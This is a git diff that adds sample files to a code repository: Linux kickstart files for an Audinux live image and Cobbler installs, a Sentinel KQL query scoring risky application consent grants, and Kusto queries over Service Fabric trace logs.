+-python3-cups                ## We don't want printer support out of the box.
+-system-config-printer-libs  ## We don't want printer support out of the box.
+-ibus-typing-booster         ## Tab completion in libreoffice and the likes Unneeded
+-libtranslit                 ## Tab
+-libtranslit-m17n            ## Tab
+
+# Not really useful
+# -fedora-jam-backgrounds-kde
+# FC28 required now -tigervnc-server-minimal
+-abiword
+-xfburn
+-lyx-fonts
+-goffice
+-midori
+
+%end
+
+%post --nochroot
+
+mkdir -p $INSTALL_ROOT/home/audinux/SoundFonts
+mkdir -p $INSTALL_ROOT/home/audinux/GuitarPro
+
+cp -r /tmp/prepare/audinux/SoundFonts/*   $INSTALL_ROOT/home/audinux/SoundFonts/
+cp -r /tmp/prepare/audinux/GuitarPro/*    $INSTALL_ROOT/home/audinux/GuitarPro/
+cp /tmp/prepare/audinux/Images/skulls.jpg $INSTALL_ROOT/usr/share/backgrounds/images/
+
+%end
+
+%post
+
+if [ ! -d /home/audinux/Desktop ]; then
+  mkdir -p /home/audinux/Desktop
+fi
+
+# Rewrite limits.conf for jack use
+cat > /etc/security/limits.d/95-jack.conf <<EOF
+# Default limits for users of jack-audio-connection-kit
+
+@jackuser - rtprio 90
+@jackuser - nice -10
+@jackuser - memlock unlimited
+EOF
+
+# xfce configuration
+
+# This is a huge file and things work ok without it
+rm -f /usr/share/icons/HighContrast/icon-theme.cache
+
+# create /etc/sysconfig/desktop (needed for installation)
+
+cat > /etc/sysconfig/desktop <<EOF
+PREFERRED=/usr/bin/startxfce4
+DISPLAYMANAGER=/usr/sbin/lightdm
+EOF
+
+# add initscript
+cat >> /etc/rc.d/init.d/livesys << EOF
+
+mkdir -p /home/audinux/.config/xfce4
+
+cat > /home/audinux/.config/xfce4/helpers.rc << FOE
+MailReader=thunderbird
+FileManager=Thunar
+WebBrowser=firefox
+FOE
+
+# disable screensaver locking (#674410)
+cat >> /home/audinux/.xscreensaver << FOE
+mode:           off
+lock:           False
+dpmsEnabled:    False
+FOE
+
+# deactivate xfconf-migration (#683161)
+rm -f /etc/xdg/autostart/xfconf-migration-4.6.desktop || :
+
+# deactivate xfce4-panel first-run dialog (#693569)
+mkdir -p /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml
+cp /etc/xdg/xfce4/panel/default.xml /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-panel.xml
+
+# Set french keyboard for xfce
+cat >> /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml/keyboard-layout.xml << FOE
+<?xml version="1.0" encoding="UTF-8"?>
+
+<channel name="keyboard-layout" version="1.0">
+  <property name="Default"      type="empty">
+    <property name="XkbDisable" type="bool"   value="false"/>
+    <property name="XkbLayout"  type="string" value="fr"/>
+    <property name="XkbVariant" type="string" value=""/>
+  </property>
+</channel>
+FOE
+
+# Set the background image for the main desktop
+# <property name="image-path"        type="string" value="/usr/share/backgrounds/xfce/xfce-blue.jpg"/>
+# <property name="last-single-image" type="string" value="/usr/share/backgrounds/xfce/xfce-blue.jpg"/>
+
+cat >> /home/audinux/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-desktop.xml << FOE
+<?xml version="1.0" encoding="UTF-8"?>
+
+<channel name="xfce4-desktop" version="1.0">
+  <property name="backdrop" type="empty">
+    <property name="screen0" type="empty">
+      <property name="monitor0" type="empty">skulls.jpg
+        <property name="image-path"        type="string" value="/usr/share/backgrounds/images/skulls.jpg"/>
+        <property name="last-image"        type="string" value="/usr/share/backgrounds/images/default.png"/>
+        <property name="last-single-image" type="string" value="/usr/share/backgrounds/images/skulls.jpg"/>
+      </property>
+    </property>
+  </property>
+</channel>
+FOE
+
+# set up lightdm autologin
+sed -i 's/^#autologin-user=.*/autologin-user=audinux/' /etc/lightdm/lightdm.conf
+sed -i 's/^#autologin-user-timeout=.*/autologin-user-timeout=0/' /etc/lightdm/lightdm.conf
+#sed -i 's/^#show-language-selector=.*/show-language-selector=true/' /etc/lightdm/lightdm-gtk-greeter.conf
+
+# set Xfce as default session, otherwise login will fail
+sed -i 's/^#user-session=.*/user-session=xfce/' /etc/lightdm/lightdm.conf
+
+# Show harddisk install on the desktop
+sed -i -e 's/NoDisplay=true/NoDisplay=false/' /usr/share/applications/liveinst.desktop
+
+if [ ! -d /home/audinux/Desktop ]; then
+  mkdir /home/audinux/Desktop
+fi
+
+cp /usr/share/applications/liveinst.desktop /home/audinux/Desktop
+
+# and mark it as executable (new Xfce security feature)
+chmod +x /home/audinux/Desktop/liveinst.desktop
+
+# this goes at the end after all other changes. 
+chown -R audinux:audinux /home/audinux
+restorecon -R /home/audinux
+
+EOF
+
+# Install applications on the Desktop
+
+cat >> /etc/rc.d/init.d/livesys << EOF
+
+# Copy some applications on desktop
+cp /usr/share/applications/qjackctl.desktop       /home/audinux/Desktop
+cp /usr/share/applications/guitarix.desktop       /home/audinux/Desktop
+cp /usr/share/applications/qsynth.desktop         /home/audinux/Desktop
+cp /usr/share/applications/yoshimi.desktop        /home/audinux/Desktop
+cp /usr/share/applications/sooperlooper.desktop   /home/audinux/Desktop
+cp /usr/share/applications/lmms.desktop           /home/audinux/Desktop
+cp /usr/share/applications/mscore.desktop         /home/audinux/Desktop
+cp /usr/share/applications/qtractor.desktop       /home/audinux/Desktop
+cp /usr/share/applications/audacity.desktop       /home/audinux/Desktop
+cp /usr/share/applications/tuxguitar.desktop      /home/audinux/Desktop
+cp /usr/share/applications/xfce4-terminal.desktop /home/audinux/Desktop
+cp /usr/share/applications/carla.desktop          /home/audinux/Desktop
+cp /usr/share/applications/cadence.desktop        /home/audinux/Desktop
+cp /usr/share/applications/ardour4.desktop        /home/audinux/Desktop
+
+chmod +x /home/audinux/Desktop/*.desktop
+
+# Disable plasma-pk-updates (bz #1436873 and 1206760)
+echo "Removing plasma-pk-updates package."
+rpm -e plasma-pk-updates
+
+# Disable baloo
+cat > /home/audinux/.config/baloofilerc << BALOO_EOF
+[Basic Settings]
+Indexing-Enabled=false
+BALOO_EOF
+
+# Disable kres-migrator
+cat > /home/audinux/.kde/share/config/kres-migratorrc << KRES_EOF
+[Migration]
+Enabled=false
+KRES_EOF
+
+# Disable kwallet migrator
+cat > /home/audinux/.config/kwalletrc << KWALLET_EOL
+[Migration]
+alreadyMigrated=true
+KWALLET_EOL
+
+# make sure to set the right permissions and selinux contexts
+setfiles -v /etc/selinux/strict/contexts/files/file_contexts /
+chown -R audinux:audinux /home/audinux/
+restorecon -R /home/audinux/
+
+EOF
+
+%end
diff --git a/samples/Kickstart/mysql.ks b/samples/Kickstart/mysql.ks
new file mode 100644
index 0000000000..c9a5334ad0
--- /dev/null
+++ b/samples/Kickstart/mysql.ks
@@ -0,0 +1,101 @@
+# example taken from https://github.com/xiaomatech/cobbler/blob/master/kickstarts/mysql.ks
+# Lic. MIT
+
+# kickstart template for Fedora 8 and later.
+# (includes %end blocks)
+# do not use with earlier distros
+
+#platform=x86, AMD64, or Intel EM64T
+# System authorization information
+auth  --useshadow  --enablemd5
+# System bootloader configuration
+bootloader --location=mbr
+# Partition clearing information
+clearpart --all --initlabel
+# Use text mode install
+text
+# Firewall configuration
+firewall --disabled
+# Run the Setup Agent on first boot
+firstboot --disable
+# System keyboard
+keyboard us
+# System language
+lang en_US.UTF-8
+# Use network installation
+url --url=$tree
+# If any cobbler repo definitions were referenced in the kickstart profile, include them here.
+$yum_repo_stanza
+# Network information
+$SNIPPET('network_config')
+# Reboot after installation
+reboot
+
+#Root password
+rootpw --iscrypted $default_password_crypted
+# SELinux configuration
+selinux --disabled
+# Do not configure the X Window System
+skipx
+# System timezone
+timezone  Asia/Chongqing
+# Install OS instead of upgrade
+install
+# Clear the Master Boot Record
+zerombr
+# Allow anaconda to partition the system as needed
+%include /tmp/partition.ks
+
+#disable some service and enable some service
+$SNIPPET('services')
+
+%pre
+$SNIPPET('log_ks_pre')
+$SNIPPET('kickstart_start')
+$SNIPPET('pre_install_network_config')
+# Enable installation monitoring
+$SNIPPET('pre_anamon')
+$SNIPPET('pre_partition')
+%end
+
+#%packages
+%packages
+$SNIPPET('pre_packages')
+%end
+
+%post
+$SNIPPET('log_ks_post')
+# Start yum configuration
+$yum_config_stanza
+# End yum configuration
+$SNIPPET('post_sync_time')
+$SNIPPET('post_install_kernel_options')
+$SNIPPET('post_install_network_config')
+$SNIPPET('download_config_files')
+$SNIPPET('cobbler_register')
+# Enable post-install boot notification
+$SNIPPET('post_anamon')
+
+#### repo setup ###
+$SNIPPET('post_repo_config')
+
+#clean root directory
+$SNIPPET('post_clean_dir')
+
+### Sync Time ###
+$SNIPPET('post_sync_time')
+
+### post util ###
+$SNIPPET('post_util')
+
+#mysql
+$SNIPPET('post_install_mysql')
+
+#affinity
+$SNIPPET('set_affinity')
+
+# Start final steps
+$SNIPPET('publickey_root_robin')
+$SNIPPET('kickstart_done')
+# End final steps
+%end
diff --git a/samples/Kickstart/sample_end.ks b/samples/Kickstart/sample_end.ks
new file mode 100644
index 0000000000..eec6d73b59
--- /dev/null
+++ b/samples/Kickstart/sample_end.ks
@@ -0,0 +1,78 @@
+# example taken from https://github.com/ssalevan/cobbler/blob/master/kickstarts/sample_end.ks
+# Lic. GPL-2.0
+
+# kickstart template for Fedora 8 and later.
+# (includes %end blocks)
+# do not use with earlier distros
+
+#platform=x86, AMD64, or Intel EM64T
+# System authorization information
+auth  --useshadow  --enablemd5
+# System bootloader configuration
+bootloader --location=mbr
+# Partition clearing information
+clearpart --all --initlabel
+# Use text mode install
+text
+# Firewall configuration
+firewall --enabled
+# Run the Setup Agent on first boot
+firstboot --disable
+# System keyboard
+keyboard us
+# System language
+lang en_US
+# Use network installation
+url --url=$tree
+# If any cobbler repo definitions were referenced in the kickstart profile, include them here.
+$yum_repo_stanza
+# Network information
+$SNIPPET('network_config')
+# Reboot after installation
+reboot
+
+#Root password
+rootpw --iscrypted $default_password_crypted
+# SELinux configuration
+selinux --disabled
+# Do not configure the X Window System
+skipx
+# System timezone
+timezone  America/New_York
+# Install OS instead of upgrade
+install
+# Clear the Master Boot Record
+zerombr
+# Allow anaconda to partition the system as needed
+autopart
+
+%pre
+$SNIPPET('log_ks_pre')
+$kickstart_start
+$SNIPPET('pre_install_network_config')
+# Enable installation monitoring
+$SNIPPET('pre_anamon')
+%end
+
+%packages
+$SNIPPET('func_install_if_enabled')
+%end
+
+%post
+$SNIPPET('log_ks_post')
+# Start yum configuration
+$yum_config_stanza
+# End yum configuration
+$SNIPPET('post_install_kernel_options')
+$SNIPPET('post_install_network_config')
+$SNIPPET('func_register_if_enabled')
+$SNIPPET('download_config_files')
+$SNIPPET('koan_environment')
+$SNIPPET('redhat_register')
+$SNIPPET('cobbler_register')
+# Enable post-install boot notification
+$SNIPPET('post_anamon')
+# Start final steps
+$kickstart_done
+# End final steps
+%end
diff --git a/samples/Kusto/application_consent_or_assignment.kql b/samples/Kusto/application_consent_or_assignment.kql
new file mode 100644
index 0000000000..52c3e8629a
--- /dev/null
+++ b/samples/Kusto/application_consent_or_assignment.kql
@@ -0,0 +1,188 @@
+// MIT License
+//
+// Copyright (c) 2022 Jose Sebastián Canós
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in all
+// copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+//
+//let query_frequency = 1h;
+let query_period = 90d;
+let _ConsentRiskDictionary = toscalar(
+    _GetWatchlist('Permission-AzurePermissions')
+    | summarize take_anyif(ConsentRisk, isnotempty(ConsentRisk)) by PermissionName
+    | summarize make_bag(pack(PermissionName, ConsentRisk))
+);
+let _ConsentToApplication =
+    AuditLogs
+    | where TimeGenerated > ago(query_period)
+    | where OperationName has "Consent to application"
+    | extend
+        Actor = tostring(InitiatedBy.user.userPrincipalName),
+        ActorId = tostring(InitiatedBy.user.id),
+        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)
+    | mv-expand TargetResource = TargetResources
+    | extend
+        AppDisplayName = tostring(TargetResource.displayName),
+        AppServicePrincipalId = tostring(TargetResource.id)
+    | mv-apply Properties = TargetResource.modifiedProperties on (
+        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack("oldValue", Properties.oldValue, "newValue", Properties.newValue)))
+    )
+    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')
+    | extend
+        AdminConsent = trim(@'[\"\s]+', tostring(column_ifexists("ConsentContext.IsAdminConsent", dynamic(null)).newValue)),
+        OnBehalfOfAllUsers = trim(@'[\"\s]+', tostring(column_ifexists("ConsentContext.OnBehalfOfAll", dynamic(null)).newValue)),
+        AppId = extract(@"([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})", 1, trim(@'[\"\s]+', tostring(column_ifexists("TargetId.ServicePrincipalNames", dynamic(null)).newValue))),
+        Permissions = extract_all(@"PrincipalId: ([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})?, ResourceId: ([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}), ConsentType:\s+(\w+), Scope:\s+([^,]+)", extract(@"\=\>\s+(.*)", 1, tostring(column_ifexists("ConsentAction.Permissions", ""))))
+    | mv-apply Permissions on (
+        extend
+            TargetId = tostring(Permissions[0]),
+            PermissionsResourceId = tostring(Permissions[1]),
+            ConsentType = tostring(Permissions[2]),
+            Scope = split(Permissions[3], ' ')
+        | mv-expand Scope
+        | summarize Permissions = array_sort_asc(make_set(Scope)) by ConsentType, TargetId, PermissionsResourceId
+    )
+    | extend Target = iff(TargetId == ActorId, Actor, "")
+;
+let _DelegatedPermissionGrant =
+    AuditLogs
+    | where TimeGenerated > ago(query_period)
+    | where OperationName has ("Add delegated permission grant")
+    | extend
+        Actor = tostring(InitiatedBy.user.userPrincipalName),
+        ActorId = tostring(InitiatedBy.user.id),
+        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)
+    | mv-expand TargetResource = TargetResources
+    | where array_length(TargetResource.modifiedProperties) > 0
+    | extend
+        PermissionsResourceDisplayName = tostring(TargetResource.displayName),
+        PermissionsResourceId = tostring(TargetResource.id)
+    | mv-apply Properties = TargetResource.modifiedProperties on (
+        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack("oldValue", Properties.oldValue, "newValue", Properties.newValue)))
+    )
+    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')
+    | extend
+        ConsentType = trim(@'[\"\s]+', tostring(column_ifexists("DelegatedPermissionGrant.ConsentType", dynamic(null)).newValue)),
+        Permissions = array_sort_asc(split(trim(@'[\"\s]+', tostring(column_ifexists("DelegatedPermissionGrant.Scope", dynamic(null)).newValue)), " ")),
+        AppServicePrincipalId = trim(@'[\"\s]+', tostring(column_ifexists("ServicePrincipal.ObjectID", dynamic(null)).newValue))
+    | extend
+        Target = iff(ConsentType == "Principal", Actor, ""),
+        TargetId = iff(ConsentType == "Principal", ActorId, "")
+;
+let _AppRoleAssignmentUser =
+    AuditLogs
+    | where TimeGenerated > ago(query_period)
+    | where OperationName has ("Add app role assignment grant to user")
+    | where not(Result == "failure" and ResultDescription == "Microsoft.Online.DirectoryServices.UniqueKeyPropertyException")
+    | extend
+        Actor = tostring(InitiatedBy.user.userPrincipalName),
+        //ActorId = tostring(InitiatedBy.user.id),
+        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)
+    | mv-expand TargetResource = TargetResources
+    | where array_length(TargetResource.modifiedProperties) > 0
+    | extend
+        AppDisplayName = tostring(TargetResource.displayName),
+        AppServicePrincipalId = tostring(TargetResource.id)
+    | mv-apply Properties = TargetResource.modifiedProperties on (
+        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack("oldValue", Properties.oldValue, "newValue", Properties.newValue)))
+    )
+    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')
+    | extend
+        Target = trim(@'[\"\s]+', tostring(column_ifexists("User.UPN", dynamic(null)).newValue)),
+        TargetId = trim(@'[\"\s]+', tostring(column_ifexists("User.ObjectID", dynamic(null)).newValue))
+;
+let _AppRoleAssignmentServicePrincipal =
+    AuditLogs
+    | where TimeGenerated > ago(90d)
+    | where OperationName has ("Add app role assignment to service principal")
+    | where not(Result == "failure" and ResultDescription == "Microsoft.Online.DirectoryServices.UniqueKeyPropertyException")
+    | extend
+        Actor = tostring(InitiatedBy.user.userPrincipalName),
+        //ActorId = tostring(InitiatedBy.user.id),
+        ActorIPAddress = tostring(InitiatedBy.user.ipAddress)
+    | mv-expand TargetResource = TargetResources
+    | where array_length(TargetResource.modifiedProperties) > 0
+    | extend
+        PermissionsResourceDisplayName = tostring(TargetResource.displayName),
+        PermissionsResourceId = tostring(TargetResource.id)
+    | mv-apply Properties = TargetResource.modifiedProperties on (
+        summarize BagToUnpack = make_bag(pack(tostring(Properties.displayName), pack("oldValue", Properties.oldValue, "newValue", Properties.newValue)))
+    )
+    | evaluate bag_unpack(BagToUnpack, columnsConflict='replace_source')
+    | extend
+        AppDisplayName = trim(@'[\"\s]+', tostring(column_ifexists("ServicePrincipal.DisplayName", dynamic(null)).newValue)),
+        AppServicePrincipalId = trim(@'[\"\s]+', tostring(column_ifexists("ServicePrincipal.ObjectID", dynamic(null)).newValue)),
+        AppRole = trim(@'[\"\s]+', tostring(column_ifexists("AppRole.Value", dynamic(null)).newValue))
+    | summarize Permissions = array_sort_asc(make_set(AppRole)), arg_min(TimeGenerated, *) by AppServicePrincipalId, CorrelationId, Result, PermissionsResourceId
+    | extend
+        ConsentType = "Application",
+        Target = AppDisplayName,
+        AdminConsent = "True"
+;
+union isfuzzy=true _AppRoleAssignmentServicePrincipal, _AppRoleAssignmentUser, _DelegatedPermissionGrant, _ConsentToApplication
+| project TimeGenerated, Actor, ActorIPAddress, OperationName, Result, AppDisplayName, Target, AdminConsent, OnBehalfOfAllUsers, ConsentType, Permissions, PermissionsResourceDisplayName, AppServicePrincipalId, CorrelationId, InitiatedBy, AdditionalDetails, TargetResources, PermissionsResourceId, TargetId
+| as Results
+| project-away PermissionsResourceDisplayName
+| lookup kind=leftouter (
+    Results
+    | distinct PermissionsResourceDisplayName, PermissionsResourceId
+    | where isnotempty(PermissionsResourceDisplayName) and isnotempty(PermissionsResourceId)
+) on PermissionsResourceId
+| lookup kind=leftouter (
+    Results
+    | distinct AppDisplayName, AppServicePrincipalId
+    | where isnotempty(AppDisplayName) and isnotempty(AppServicePrincipalId)
+    | project-rename Secondary_AppDisplayName = AppDisplayName
+) on $left.PermissionsResourceId == $right.AppServicePrincipalId
+| extend
+    AppDisplayName = iff(isempty(AppDisplayName) and isnotempty(Secondary_AppDisplayName), Secondary_AppDisplayName, AppDisplayName),
+    AppServicePrincipalId = iff(isempty(AppDisplayName) and isnotempty(Secondary_AppDisplayName), PermissionsResourceId, AppServicePrincipalId)
+| project-away Secondary_AppDisplayName
+| mv-apply Permission = Permissions to typeof(string) on (
+    where isnotempty(Permission)
+    | extend ConsentRisk = iff(bag_has_key(_ConsentRiskDictionary, Permission), _ConsentRiskDictionary[Permission] , "UnknownPermission")
+    | extend ConsentRisk = iff(isempty(ConsentRisk), "UnknownRisk", ConsentRisk)
+    | summarize ConsentRisks = make_set(ConsentRisk), PermissionsExtended = make_bag(pack(Permission, ConsentRisk))
+)
+| extend
+    ConsentRisks = iff(isempty(Permissions), dynamic(null), ConsentRisks),
+    Permissions = iff(isempty(Permissions), dynamic(null), PermissionsExtended)
+| project-away PermissionsExtended
+//| where TimeGenerated > ago(query_frequency)
+| summarize
+    TimeGenerated = min(TimeGenerated),
+    take_any(Actor, ActorIPAddress, Target, InitiatedBy),
+    Operations = make_bag(pack(OperationName, Result)),
+    take_anyif(AppDisplayName, isnotempty(AppDisplayName)),
+    take_anyif(AdminConsent, not(AdminConsent in ("", "False"))),
+    take_anyif(OnBehalfOfAllUsers, not(OnBehalfOfAllUsers in ("", "False"))),
+    take_anyif(ConsentType, isnotempty(ConsentType)),
+    Permissions = make_bag(pack(PermissionsResourceDisplayName, Permissions)),
+    ConsentRisks = make_set_if(ConsentRisks, isnotempty(ConsentRisks)),
+    AdditionalDetails = make_bag(pack(OperationName, AdditionalDetails)),
+    TargetResources = make_bag(pack(OperationName, TargetResources)),
+    PermissionsResourceIds = make_set_if(PermissionsResourceId, isnotempty(PermissionsResourceId))
+    by AppServicePrincipalId, CorrelationId, TargetId
+| extend AlertSeverity = case(
+    isempty(ConsentRisks), "Medium",
+    ConsentRisks has_any ("UnknownPermission", "UnknownRisk", "High"), "High",
+    ConsentRisks has "Medium", "Medium",
+    ConsentRisks has "Low", "Low",
+    "High"
+)
+| project TimeGenerated, Actor, ActorIPAddress, Operations, AppDisplayName, Target, AdminConsent, OnBehalfOfAllUsers, ConsentType, Permissions, ConsentRisks, AppServicePrincipalId, CorrelationId, InitiatedBy, AdditionalDetails, TargetResources, PermissionsResourceIds, TargetId, AlertSeverity
diff --git a/samples/Kusto/example-create-sflogs-table.csl b/samples/Kusto/example-create-sflogs-table.csl
new file mode 100644
index 0000000000..14666d1b2e
--- /dev/null
+++ b/samples/Kusto/example-create-sflogs-table.csl
@@ -0,0 +1,4 @@
+// NodeName and LogType are *not* currently part of CSV data located in sflogs storage account dtr.zip
+// these fields are generated manually from collectsfdata at time of ingest based on blob path
+
+.create table ['trace_serviceFabricLogs'] (Timestamp: datetime, Level: string, TID: int, PID: int, Type: string, Text: string, NodeName: string, LogType: string) 
\ No newline at end of file
diff --git a/samples/Kusto/examples_traces.csl b/samples/Kusto/examples_traces.csl
new file mode 100644
index 0000000000..8a5faf7e31
--- /dev/null
+++ b/samples/Kusto/examples_traces.csl
@@ -0,0 +1,269 @@
+//For Building Regex patterns, try https://regex101.com/
+
+
+// CM Application Upgrades
+let appName = @'fabric:/NotificationProcessorServiceApplication';
+let exclusion1 = @'Phase=NotStarted';
+your_tablename_here
+| where Type contains @'CM.' 
+    or (Type contains strcat(@'HM.Entity_QueryCompleted@', appName))
+| where Type contains @'Start'
+    or Type contains @'End' 
+    or Type contains @'upgrade domain completed'   
+    or Type contains strcat(@'ApplicationUpgradeDomainComplete@', appName)
+    or Text contains @'Phase='
+    or Text contains @'failed'
+    or ((Type contains strcat(@'HM.Entity_QueryCompleted@', appName)) and (Text matches regex strcat('(?i:',@'is in Error',')') or Text matches regex strcat('(?i:',@'is in Warning',')')))
+| where Type !contains exclusion1 and Text !contains exclusion1
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType
+| order by Timestamp asc
+| limit 5000
+
+
+//HM Query (show services in error, extract partitionid's)
+let filterPattern = @'HM.Entity_QueryCompleted@(fabric):\/([\w_-]+)\/([\w_-]+)';
+let extractPattern_PartitionStats = @'(Partition:)\sok:\d+\/w:\d+\/e:\d+';
+let extractPattern_ReplicaStats = @'(Replica:)\sok:\d+\/w:\d+\/e:\d+';
+let extractPattern_PartitionId = @"(Partition\s\'[a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})";
+let extractPattern_ServiceName = @'(fabric):\/([\w_-]+)\/([\w_-]+)';
+your_tablename_here
+| where Type contains @'HM.Entity_QueryCompleted'
+| where Type matches regex filterPattern
+  and (Text matches regex strcat('(?i:',@'is in Error',')') or Text matches regex strcat('(?i:',@'is in Warning',')'))
+| extend partitionStats = extract(extractPattern_PartitionStats, 0, Text, typeof(string))
+| extend replicaStats = extract(extractPattern_ReplicaStats, 0, Text, typeof(string))
+| extend serviceName = extract(extractPattern_ServiceName, 0, Text, typeof(string))
+| extend partitionId = extract_all(extractPattern_PartitionId, Text)
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType, partitionStats, replicaStats, serviceName, partitionId
+| order by Timestamp asc
+| limit 5000
+
+//HM Query (show code packages in error, program, arguments, servicepackageid)
+let filterPattern = @'HM.Entity_QueryCompleted@(fabric):\/([\w_-]+)\/([\w_-]+)';
+let extractPattern_ServiceName = @'(fabric):\/([\w_-]+)\+([\w_-]+)';
+let extractPattern_ExitCode = @'(exit code:)(\d+)';
+let extractPattern_ErrorCode = @'(ErrorCode=)(.+?[^,]*)';
+let extractPattern_Program = @'(Program\s=\s)(.+?\.[^.,]*)';
+let extractPattern_Arguments = @'(Arguments\s=\s)([^,]*)';
+let extractPattern_ServicePackageInstanceId = @'(ServicePackageInstanceId\s=\s)(.+?[^,]*)';
+let extractPattern_ = @'';
+your_tablename_here
+| where Text contains "CodePackage" and Text contains "error"
+| where Text contains "ErrorCode=FABRIC_E" or Text contains "There was an error" or Text contains "terminated with exitcode"
+| extend serviceName = extract(extractPattern_ServiceName, 0, Text, typeof(string))
+| extend exitCode = extract(extractPattern_ExitCode, 2, Text, typeof(string))
+| extend errorCode = extract(extractPattern_ErrorCode, 2, Text, typeof(string))
+| extend program = extract(extractPattern_Program, 2, Text, typeof(string))
+| extend arguments = extract(extractPattern_Arguments, 2, Text, typeof(string))
+| extend servicePackageId = extract(extractPattern_ServicePackageInstanceId, 2, Text, typeof(string))
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType, serviceName, exitCode, errorCode, program, arguments, servicePackageId
+| order by Timestamp asc
+| limit 5000
+
+// FM Application Upgrades
+let appName = @'fabric:/';
+your_tablename_here
+| where Type contains @'FM.AppUpgrade'
+| where Text matches regex strcat('(?i:',@'accepted',')')  
+    or Text matches regex strcat('(?i:',@'and moving to',')')  
+    or Text matches regex strcat('(?i:',@'Starting',')')   
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType
+| order by Timestamp asc
+| limit 5000
+
+// CM Application Upgrades
+let appName = @'fabric:/NotificationProcessorServiceApplication';
+let exclusion1 = @'Phase=NotStarted';
+your_tablename_here
+| where Type contains @'CM.' 
+    or (Type contains strcat(@'HM.Entity_QueryCompleted@', appName))
+| where Type contains @'Start'
+    or Type contains @'End' 
+    or Type contains @'upgrade domain completed'   
+    or Type contains strcat(@'ApplicationUpgradeDomainComplete@', appName)
+    or Text contains @'Phase='
+    or Text contains @'failed'
+    or ((Type contains strcat(@'HM.Entity_QueryCompleted@', appName)) and (Text matches regex strcat('(?i:',@'is in Error',')') or Text matches regex strcat('(?i:',@'is in Warning',')')))
+| where Type !contains exclusion1 and Text !contains exclusion1
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType
+| order by Timestamp asc
+| limit 5000
+
+// regex example with string match 'exception', case insensitive
+let filterPattern1 = @'exception';
+let regexPattern1 = strcat('(?i:',filterPattern1,')'); // re2 case insensitive
+your_tablename_here
+| where Type matches regex regexPattern1 or Text matches regex regexPattern1 
+| where Level !contains "Informational"
+| project Timestamp , TID , PID , NodeName , Level , Type , Text , FileType
+| order by Timestamp asc
+| limit 5000
+
+// display Types that are not informational (e.g. type~W|E)
+let exclusion1 = "chaos";
+your_tablename_here
+| order by Timestamp asc
+| where Level !contains "info" and Level !contains "unknown" and Level !contains "verbose"
+| where Type !contains exclusion1 and Text !contains exclusion1
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType
+| limit 5000
+//| summarize count() by xtime=bin(Timestamp,1m), NodeName
+//| render timechart;
+
+// ReverseProxy returns status code 
+let extractPattern_StatusCode = @'(status code\s=\s)(\d+)';
+your_tablename_here
+| where Type contains "ReverseProxy"
+| where Text contains "status code"
+| extend statusCode = extract(extractPattern_StatusCode, 2, Text, typeof(string))
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, statusCode
+| limit 5000
+
+// ReverseProxy returns status code
+let extractPattern_requestId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+let extractPattern_StatusCode = @'(status code\s=\s)(\d+)';
+your_tablename_here
+| where Type contains "ReverseProxy"
+| where Text contains "status code"
+| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))
+| extend statusCode = extract(extractPattern_StatusCode, 2, Text, typeof(string))
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, statusCode, requestId
+| limit 5000
+| summarize count() by requestId
+| order by count_
+//| summarize count() by xtime=bin(Timestamp,1m), requestId 
+//| render timechart;
+
+// ReverseProxy, investigate by requestId
+let filterPattern_requestId = @'106dcdd4-01e6-4497-bf47-577d94964649';
+let extractPattern_requestId = @'([a-z0-9]{8}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{4}\-[a-z0-9]{12})';
+let extractPattern_ServiceUrl = @'((?:https?:\/\/[^,?]*))';
+your_tablename_here
+| extend requestId = extract(extractPattern_requestId, 1, Text, typeof(string))
+| extend serviceUrl = extract_all(extractPattern_ServiceUrl, Text)
+| where Type contains "ReverseProxy"
+| where Text !contains "status code"
+| where Type contains filterPattern_requestId or Text contains filterPattern_requestId
+| project Timestamp , TID , PID , Level , Type , Text , NodeName , FileType, requestId, serviceUrl
+| limit 5000
